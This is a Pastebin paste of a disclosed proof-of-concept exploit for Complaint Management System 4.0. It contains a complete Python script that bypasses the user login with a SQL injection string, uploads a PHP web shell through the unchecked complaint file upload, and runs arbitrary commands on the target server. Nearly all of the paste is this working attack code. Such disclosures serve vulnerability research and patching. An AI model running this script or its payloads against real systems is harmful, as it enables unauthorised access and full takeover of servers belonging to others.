Advertisement
FlyFar

Complaint Management System 4.0 - Remote Code Execution

Feb 13th, 2024
682
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.14 KB | Cybersecurity | 0 0
  1. # Exploit Title: Complaint Management System 4.0 - Remote Code Execution
  2. # Exploit Author: Metin Yunus Kandemir
  3. # Vendor Homepage: https://phpgurukul.com/
  4. # Software Link: https://phpgurukul.com/complaint-management-sytem/
  5. # Version: v4.0
  6. # Description:
  7. # There isn't any file extension control at the "Register Complaint" section of user panel.
  8. # An unauthorized user can upload and execute php file.
  9. # Below basic python script will bypass authentication and execute command on target server.
  10.  
  11. poc.py
  12.  
  13. #!/usr/bin/python
  14.  
  15. import requests
  16. import sys
  17.                  
  18.  
  19. if len(sys.argv) !=3:
  20.     print "[*] Usage: PoC.py rhost/rpath command"
  21.     print "[*] e.g.: PoC.py 127.0.0.1/cms ipconfig"
  22.     exit(0)
  23.  
  24. rhost = sys.argv[1]
  25. command = sys.argv[2]
  26.  
  27. #authentication bypass
  28. url = "http://"+rhost+"/users/index.php"
  29. data = {"username": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}
  30.  
  31. with requests.Session() as session:
  32.    
  33.     login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})
  34.  
  35.    
  36.     #check authentication bypass
  37.     check = session.get("http://"+rhost+"/users/dashboard.php", allow_redirects=False)
  38.     print ("[*] Status code for login: %s"%check.status_code)
  39.     if check.status_code == 200:
  40.         print ("[+] Authentication bypass was successfull")
  41.     else:
  42.         print ("[-] Authentication bypass was unsuccessful")
  43.         sys.exit()
  44.    
  45.     #upload php file
  46.     ufile = {'compfile':('command.php', '<?php system($_GET["cmd"]); ?>')}
  47.     fdata = {"category": "1", "subcategory": "Online Shopping", "complaintype": " Complaint", "state": "Punjab", "noc": "the end", "complaindetails": "the end","compfile": "commmand.php", "submit": ""}
  48.     furl = "http://"+rhost+"/users/register-complaint.php"
  49.     fupload = session.post(url=furl, files= ufile, data=fdata)
  50.  
  51.     #execution
  52.     final=session.get("http://"+rhost+"/users/complaintdocs/command.php?cmd="+command)
  53.  
  54.     if final.status_code == 200:
  55.         print "[+] Command execution completed successfully.\n"
  56.         print "\tPut on a happy face.\n"
  57.     else:
  58.         print "[-] Command execution was unsuccessful."
  59.         print "\tOne bad day!"
  60.         sys.exit()
  61.  
  62.     print final.text
  63.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement